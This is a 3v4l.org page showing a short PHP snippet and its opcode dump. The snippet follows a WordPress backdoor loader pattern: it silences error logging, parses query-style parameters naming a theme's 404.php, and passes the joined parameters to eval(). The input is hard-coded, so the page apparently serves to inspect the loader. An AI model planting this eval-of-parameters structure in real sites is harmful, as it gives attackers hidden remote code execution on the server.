3v4l.org

run code in 300+ PHP versions simultaneously
<?php ini_set('error_log', '/dev/null'); parse_str("file=404.php&theme=wp-sparkler-child", $a); echo (reset($a)); echo count($a); # if (reset($a) == '12' && count($a) == 9) { echo '<3456>'; eval((str_replace(" ", "+", join(array_slice($a, count($a) - 3))))); echo '</3456>'; # } ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/P9SEM
function name:  (null)
number of ops:  32
compiled vars:  !0 = $a
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   INIT_FCALL                                               'ini_set'
          1        SEND_VAL                                                 'error_log'
          2        SEND_VAL                                                 '%2Fdev%2Fnull'
          3        DO_ICALL                                                 
    2     4        INIT_FCALL                                               'parse_str'
          5        SEND_VAL                                                 'file%3D404.php%26theme%3Dwp-sparkler-child'
          6        SEND_REF                                                 !0
          7        DO_ICALL                                                 
    3     8        INIT_FCALL                                               'reset'
          9        SEND_REF                                                 !0
         10        DO_ICALL                                         $3      
         11        ECHO                                                     $3
    4    12        COUNT                                            ~4      !0
         13        ECHO                                                     ~4
    6    14        ECHO                                                     '%3C3456%3E'
    7    15        INIT_FCALL                                               'str_replace'
         16        SEND_VAL                                                 '+'
         17        SEND_VAL                                                 '%2B'
         18        INIT_FCALL                                               'join'
         19        INIT_FCALL                                               'array_slice'
         20        SEND_VAR                                                 !0
         21        COUNT                                            ~5      !0
         22        SUB                                              ~6      ~5, 3
         23        SEND_VAL                                                 ~6
         24        DO_ICALL                                         $7      
         25        SEND_VAR                                                 $7
         26        DO_ICALL                                         $8      
         27        SEND_VAR                                                 $8
         28        DO_ICALL                                         $9      
         29        INCLUDE_OR_EVAL                                          $9, EVAL
    8    30        ECHO                                                     '%3C%2F3456%3E'
   10    31      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
170.75 ms | 1395 KiB | 25 Q